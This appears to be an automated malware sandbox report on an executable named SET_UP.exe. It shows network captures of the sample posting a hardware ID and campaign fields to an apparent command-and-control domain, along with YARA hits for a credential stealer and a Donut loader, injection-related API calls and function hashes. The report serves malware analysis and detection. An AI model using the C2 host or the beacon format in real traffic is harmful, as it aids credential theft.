2025-01-06 14:15:13 UTC	1141	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:15:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iebf2r190mqejjponf3sp18gku; expires=Fri, 02 May 2025 08:01:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SMO%2FoSr15qpXfSIckGNerTtu9THJsBI%2B8ywdoyoIUMskC9uFP%2B60nnJjk%2F6KpN3N2c9fxgQzpMsOPz7440g5m%2Bb4jHnFYnNhYmiWMraPIdXOd7JciTyNVN0JSJN%2BkW8z4E0E2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc51a4fd7e42bd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12516&min_rtt=1763&rtt_var=7191&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21401&delivery_rate=1656267&cwnd=196&unsent_bytes=0&cid=10527891c2db3766&ts=609&x=0"
2025-01-06 14:15:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:15:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49753	188.114.97.3	443	7620	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:15:14 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RAO4YOWP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 916 Host: glowscarrytsv.sbs
2025-01-06 14:15:14 UTC	916	OUT	Data Raw: 2d 2d 52 41 4f 34 59 4f 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 32 44 44 39 43 33 34 35 42 39 35 45 45 36 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 52 41 4f 34 59 4f 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 41 4f 34 59 4f 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 52 41 4f 34 59 4f 57 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Data Ascii: --RAO4YOWPContent-Disposition: form-data; name="hwid"322DD9C345B95EE669AE778FE2799D69--RAO4YOWPContent-Disposition: form-data; name="pid"1--RAO4YOWPContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--RAO4YOWPContent-Disposi
2025-01-06 14:15:15 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:15:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jt4t5s3h44d84vln13sls7dbcf; expires=Fri, 02 May 2025 08:01:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hLCdUlVqJP5vnvlVALpG4Z1N8oFi40YyAmIiXXUHnMwiDwpwx2p4M%2BExExakfAIpizMd04fcqjSEP2u5egvBeRfbF4jMOcNa16Z05vt%2F00fckkBLBIdI5YGWX8V93R634FFIeQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc51ad5c3ec45c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1523&rtt_var=610&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1823&delivery_rate=1737061&cwnd=243&unsent_bytes=0&cid=f7ceebefa5552023&ts=823&x=0"
2025-01-06 14:15:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:15:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	188.114.97.3	443	7620	C:\Users\user\Desktop\SET_UP.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:15:16 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SZ2TPF9HTZ8ABB2DKFX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1112 Host: glowscarrytsv.sbs
2025-01-06 14:15:16 UTC	1112	OUT	Data Raw: 2d 2d 53 5a 32 54 50 46 39 48 54 5a 38 41 42 42 32 44 4b 46 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 32 44 44 39 43 33 34 35 42 39 35 45 45 36 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 53 5a 32 54 50 46 39 48 54 5a 38 41 42 42 32 44 4b 46 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 5a 32 54 50 46 39 48 54 5a 38 41 42 42 32 44 4b 46 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c Data Ascii: --SZ2TPF9HTZ8ABB2DKFXContent-Disposition: form-data; name="hwid"322DD9C345B95EE669AE778FE2799D69--SZ2TPF9HTZ8ABB2DKFXContent-Disposition: form-data; name="pid"1--SZ2TPF9HTZ8ABB2DKFXContent-Disposition: form-data; name="lid"hRjzG3--EL
2025-01-06 14:15:23 UTC	1146	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:15:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=smvkms29tbniul0a10qs5beok5; expires=Fri, 02 May 2025 08:02:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BCXFis5gsJrT4Een%2BZa%2F6c%2B5KuvbR4DOZuE5fGq%2F3%2BlKinjo4PyiX%2ByJKZyYcAeuniIHwGIad1yZzSKGCeMv%2BFAFhG2ZWUNWPn5MMqR95I9C%2Bfi5x9qymOyUzY2F%2B02271lmSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc51b5da164304-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2532&min_rtt=1620&rtt_var=1259&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2031&delivery_rate=1802469&cwnd=248&unsent_bytes=0&cid=6f7ced39e484bc5e&ts=7651&x=0"
2025-01-06 14:15:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 14:15:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:14:58
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\SET_UP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SET_UP.exe"
Imagebase:	0x400000
File size:	77'268'426 bytes
MD5 hash:	5B0BAFDDDBC54BCBC57B87DFB94D0C64
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1792533320.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1807281482.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1792533320.0000000000A37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	31.6%
Total number of Nodes:	117
Total number of Limit Nodes:	10

Executed Functions

Function 009A49C9 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 009A4A62
NtMapViewOfSection.NTDLL(?,00000000), ref: 009A4B0A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 009A4E7E
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 009A4F33
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 009A4F50
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 009A4FF3
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 009A5026
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 009A5197

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 863d92401d8c7df92ead23612ea7201fb27bfa2f71c59a88f93775df3485701e
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 26428871608701AFDB24CF24C884B6BBBE9EFC9714F15492DF9999B241E7B4E840CB91

Function 00950B19 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,0095065F,?,00000001,?,81EC8B55,000000FF), ref: 00950B57
Thread32First.KERNEL32(00000000,0000001C), ref: 00950B83
Wow64SuspendThread.KERNEL32(00000000), ref: 00950BD6
CloseHandle.KERNEL32(00000000), ref: 00950C00

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1849706056-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 281dcc8f43aeb97cf232c123d087d4a373b9652c57ae6e38c86df23e9b6a2344
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: 66410C75A00108AFDB18DF99C491BADB7B6EFC8300F10C168EA559B794DA34AE45CB54

Function 00950409 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 009506AC
TerminateProcess.KERNELBASE(000000FF,00000000), ref: 009509A0

Strings

}zk@, xrefs: 00950501

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID: CreateProcessTerminateThread
String ID: }zk@
API String ID: 1197810419-295876903
Opcode ID: ccdc78e6cc621a474320049fa84a9fda98614b9e929602b22d865eb6ba0a8ee6
Instruction ID: 89765397ac2090202c37c726c5f10cee087fe013b6f297502019481f842e2870
Opcode Fuzzy Hash: ccdc78e6cc621a474320049fa84a9fda98614b9e929602b22d865eb6ba0a8ee6
Instruction Fuzzy Hash: 5612F4B0E00219DFDB14CF99C990BADBBB1FF88304F2082A9E915AB385D7346A45CF54

Function 009509C9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00950A95

Strings

,, xrefs: 00950AE1

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: bb0bcc1aaf81e4ec901ac897a9d6a42235cfe2b6e2cf0970da63624c5f712e94
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: DD41E574A00209EFDB04CF99C994BAEB7B1FF88305F208598E9156B381D375AE85CF94

Function 009A5647 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 009A56D9

Strings

.dll, xrefs: 009A567E

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: a75a44fb389ce7d8f25635b4ea8a4eac2e73cd7aa06676fb9bb685bceb1f6686
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: 2521E472700A859FEB21CF68C844A697BA8FF02324F5A456CE8028BA51D730EC458BC0

Function 009A4299 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 009A4313
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 009A4657

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: 4f0eb0b79576af0244366c2abe0760992bab92e518ac9ddeacd5b5230cfabbc3
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 30B1F371600B02EBDB219E60CC81BA7B7ECFF8B314F140529F99986151EBB5E950DBE1

Non-executed Functions

Function 0097656C Relevance: 110.4, Strings: 88, Instructions: 367
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 0097663C
L, xrefs: 009765B0
/, xrefs: 00976AAD
:, xrefs: 009769C6
K, xrefs: 009765CC
V, xrefs: 00976AC2
B, xrefs: 00976A6E
, xrefs: 0097699C
P, xrefs: 00976AEC
0, xrefs: 00976A0C
L, xrefs: 00976A28
(, xrefs: 00976964
w, xrefs: 009768A7
h, xrefs: 00976B24
+, xrefs: 0097664C
>, xrefs: 009769AA
, xrefs: 00976620
", xrefs: 0097698E
y, xrefs: 00976BBD
N, xrefs: 00976A1A
u, xrefs: 009768FB
|, xrefs: 009768C3
n, xrefs: 00976925
X, xrefs: 00976AB4
3, xrefs: 00976A4B
8, xrefs: 009769D4
l, xrefs: 00976B08
Y, xrefs: 0097696B
*, xrefs: 00976AD7
6, xrefs: 009769E2
K, xrefs: 009769DB
j, xrefs: 00976B16
^, xrefs: 00976A8A
V, xrefs: 0097688B
*, xrefs: 00976956
d, xrefs: 00976B40
S, xrefs: 00976979
\, xrefs: 00976A98
-, xrefs: 00976AF3
m, xrefs: 009768D1
J, xrefs: 00976A36
}, xrefs: 00976BA1
, xrefs: 00976AE5
%, xrefs: 00976AC9
D, xrefs: 00976A60
g, xrefs: 00976B39
H, xrefs: 009769CD
;, xrefs: 0097668C
2, xrefs: 009769FE
,, xrefs: 00976948
., xrefs: 009768ED
\, xrefs: 00976987
~, xrefs: 00976A3D
{, xrefs: 00976BCB
@, xrefs: 00976A7C
K, xrefs: 009767B9
[, xrefs: 0097695D
t, xrefs: 00976899
', xrefs: 00976706
D, xrefs: 009769BF
z, xrefs: 00976BC4
F, xrefs: 00976A52
T, xrefs: 00976AD0
L, xrefs: 0097694F
<, xrefs: 009769B8
P, xrefs: 00976578
6, xrefs: 00976A75
Z, xrefs: 00976AA6
4, xrefs: 009769F0
\, xrefs: 00976995
U, xrefs: 00976B8C
4, xrefs: 00976A59
W, xrefs: 00976933
$, xrefs: 00976980
%, xrefs: 00976614
?, xrefs: 0097677A
t, xrefs: 00976A83
., xrefs: 0097693A
&, xrefs: 00976972
n, xrefs: 00976AFA
~, xrefs: 00976B1D
R, xrefs: 00976ADE
2, xrefs: 009765E8
e, xrefs: 00976917
H, xrefs: 00976A44
@, xrefs: 009769A3
$, xrefs: 00976ABB
f, xrefs: 00976B32

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID: $ $ $"$$$$$%$%$&$'$($*$*$+$,$-$.$.$/$/$0$2$2$3$4$4$6$6$8$:$;$<$>$?$@$@$B$D$D$F$H$H$J$K$K$K$L$L$L$N$P$P$R$S$T$U$V$V$W$X$Y$Z$[$\$\$\$^$d$e$f$g$h$j$l$m$n$n$t$t$u$w$y$z${$|$}$~$~
API String ID: 0-1852530521
Opcode ID: 6387563601b03344c1c6328616388ea1876f316e2469d9acc14d63fac05655dc
Instruction ID: dcade0c40b4240bdbebbf5fe2ea62d9e1f9769e2ed22071664ddb17e1d562508
Opcode Fuzzy Hash: 6387563601b03344c1c6328616388ea1876f316e2469d9acc14d63fac05655dc
Instruction Fuzzy Hash: 4522EF2080C7D9C9DB32C67C9C497DDBFA11B27324F0847D8D5E86B2D2D2790A89DB66

Function 00964336 Relevance: 99.5, Strings: 78, Instructions: 1973COMMON

Download Yara Rule

Strings

\, xrefs: 00964B38
l, xrefs: 00965A82
I, xrefs: 00965A52
], xrefs: 00965A12
D, xrefs: 00964ED0
., xrefs: 00965DBB
[, xrefs: 00965A72
y, xrefs: 00965B42
!, xrefs: 0096558E
D, xrefs: 00965BB2
D, xrefs: 00965F31
i, xrefs: 00965AE2
m, xrefs: 00965AF2
), xrefs: 00964421
*, xrefs: 00965DDB
(, xrefs: 00965E5B
T, xrefs: 00965A62
*, xrefs: 00965DEB
`, xrefs: 009653E8
D, xrefs: 00965BA2
J, xrefs: 00964D19
;, xrefs: 009646DC
#, xrefs: 00965B9A
$, xrefs: 00965791
~, xrefs: 0096592F
1, xrefs: 00965DCB
J, xrefs: 00965A42
!, xrefs: 00965B8A
:, xrefs: 00965E3B
4, xrefs: 00965711
j, xrefs: 009651BB
, xrefs: 0096519B
., xrefs: 00965E4B
|, xrefs: 009648AC
q, xrefs: 009651CB
h, xrefs: 00964628
O, xrefs: 0096499E
f, xrefs: 00965B32
', xrefs: 00965BBA
p, xrefs: 00965B12
}, xrefs: 009651AB
&, xrefs: 00965781
-, xrefs: 00965D8B
%, xrefs: 00965BAA
4, xrefs: 00964398
C, xrefs: 00965A22
}, xrefs: 00965927
r, xrefs: 00965AD2
,, xrefs: 00965751
>, xrefs: 00964B50
., xrefs: 00965741
m, xrefs: 00965B22
, xrefs: 00965771
S, xrefs: 00965A32
y, xrefs: 00964B48
(, xrefs: 00965BC2
', xrefs: 00965789
n, xrefs: 00965A92
e, xrefs: 00964620
%, xrefs: 00965E2B
7, xrefs: 00965E0B
m, xrefs: 00965AC2
|, xrefs: 00964CC9
x, xrefs: 00964B40
M, xrefs: 00965B82
i, xrefs: 00965B52
@, xrefs: 00965A02
), xrefs: 00965BCA
", xrefs: 00965761
D, xrefs: 009661C1
B, xrefs: 00964429
6, xrefs: 0096477F
o, xrefs: 00965B62
l, xrefs: 00965500
/, xrefs: 00965D7B
., xrefs: 00965E1B
(, xrefs: 00965731
*, xrefs: 00965721

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID: $ $!$!$"$#$$$%$%$&$'$'$($($($)$)$*$*$*$,$-$.$.$.$.$/$1$4$4$6$7$:$;$>$@$B$C$D$D$D$D$D$I$J$J$M$O$S$T$[$\$]$`$e$f$h$i$i$j$l$l$m$m$m$n$o$p$q$r$x$y$y$|$|$}$}$~
API String ID: 0-426187509
Opcode ID: f68d6b00179b0507484bffa4a2ad5d876588dcf58b440864c378117cdbbac513
Instruction ID: 92e518ba0a5aaa24aefb6e16df98e698f0963bca2223b1671b725ba5ea90773b
Opcode Fuzzy Hash: f68d6b00179b0507484bffa4a2ad5d876588dcf58b440864c378117cdbbac513
Instruction Fuzzy Hash: 2803BC7150C7C18AD3349B3888883AFBFD1AB96324F188E6DE4E9873D2D77985458B53

Function 0098D8CE Relevance: 30.2, Strings: 24, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

z, xrefs: 0098D974
$, xrefs: 0098DBA1
{, xrefs: 0098D966
v, xrefs: 0098D93C
, xrefs: 0098DBBD
,, xrefs: 0098DBD9
v, xrefs: 0098D990
", xrefs: 0098DBAF
j, xrefs: 0098DA2A
n, xrefs: 0098DA54
/, xrefs: 0098DBD2
l, xrefs: 0098D904
{, xrefs: 0098D9BA
t, xrefs: 0098D9C8
m, xrefs: 0098DA0E
., xrefs: 0098DBCB
&, xrefs: 0098DB93
{, xrefs: 0098D958
<, xrefs: 0098DB46
m, xrefs: 0098DA62
k, xrefs: 0098DA1C
>, xrefs: 0098DB4F
8, xrefs: 0098DB85
:, xrefs: 0098DB77

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID: $"$$$&$,$.$/$8$:$<$>$j$k$l$m$m$n$t$v$v$z${${${
API String ID: 0-3828528821
Opcode ID: dbd49799df778e91aeafa61c40d22269fad0fb97f3d7929a49da28dfe46e673a
Instruction ID: 4c7bfdf26f779db833369ed358a9c3ad8c605c8da88a5106e19563f8a77b9170
Opcode Fuzzy Hash: dbd49799df778e91aeafa61c40d22269fad0fb97f3d7929a49da28dfe46e673a
Instruction Fuzzy Hash: A0C16231908BE98ADB36C63C9C583C9AFA15B67324F0843D8D1E96B3D2C6750F86CB55

Function 00962AC1 Relevance: 18.3, Strings: 14, Instructions: 848
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C, xrefs: 00962E65
R, xrefs: 009630AC
@, xrefs: 00962B7C
Y, xrefs: 00962F95
v, xrefs: 00963117
<, xrefs: 00962E6A
M, xrefs: 009633C9
}, xrefs: 00962E6F
%, xrefs: 00962C6B
Q, xrefs: 009633B9
i, xrefs: 009632D0
>, xrefs: 00963450
1, xrefs: 00963448
N, xrefs: 009633C1

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID: %$1$<$>$@$C$M$N$Q$R$Y$i$v$}
API String ID: 0-4071272931
Opcode ID: b84c29f9d0a2ea2ec2f58870ac9baa18fd95e5e539783611f234c28677e2a37d
Instruction ID: 71f32f71c817aa9d3c806da89ac49ffdb777388386001c616ee0b02f5f9c0441
Opcode Fuzzy Hash: b84c29f9d0a2ea2ec2f58870ac9baa18fd95e5e539783611f234c28677e2a37d
Instruction Fuzzy Hash: 3962C67260C7808BD724DB39C8953AEBBD1ABD5324F198E3DD4E9C73C2D67989058B42

Function 0095ACA6 Relevance: 12.9, Strings: 10, Instructions: 406
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

e*5p, xrefs: 0095AE0E
AAEK, xrefs: 0095AE36
up`x, xrefs: 0095ADEE
9, xrefs: 0095B017
x|~e, xrefs: 0095ADFE
hnt3, xrefs: 0095AE16
lc, xrefs: 0095AECC
{}iC, xrefs: 0095AE1E
zdxe, xrefs: 0095AE06
Z\TD, xrefs: 0095AE49

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID: 9$AAEK$Z\TD$e*5p$hnt3$lc$up`x$x|~e$zdxe${}iC
API String ID: 0-759793530
Opcode ID: cb13b8974df6869f289ae0a457d5da0007fd8798e881765fde2594904bb889c9
Instruction ID: 4301636a97efe3617d568e95992f9abf73193159bcf6b018cc761b7ad35a0478
Opcode Fuzzy Hash: cb13b8974df6869f289ae0a457d5da0007fd8798e881765fde2594904bb889c9
Instruction Fuzzy Hash: 02C1C27150C3A18BD322CF2A856035BFFE0AF97701F18895DE8D54B282D779890ACB97

Function 00971B4F Relevance: 12.9, Strings: 10, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{, xrefs: 00971D5B
I, xrefs: 00971D43
|, xrefs: 00971D7B
A, xrefs: 00971D33
O, xrefs: 00971D3B
M, xrefs: 00971D4B
{, xrefs: 00971D83
S, xrefs: 00971D53
p, xrefs: 00971D8B
c, xrefs: 00971D93

Memory Dump Source

Source File: 00000000.00000002.1906349793.0000000000950000.00000040.00001000.00020000.00000000.sdmp, Offset: 00950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_950000_SET_UP.jbxd

Yara matches

Similarity

API ID:
String ID: A$I$M$O$S$c$p${${$|
API String ID: 0-348498607
Opcode ID: b08a2b5b93a794a8c505335190856fff263884b131eaa54648fe97f0391aa272
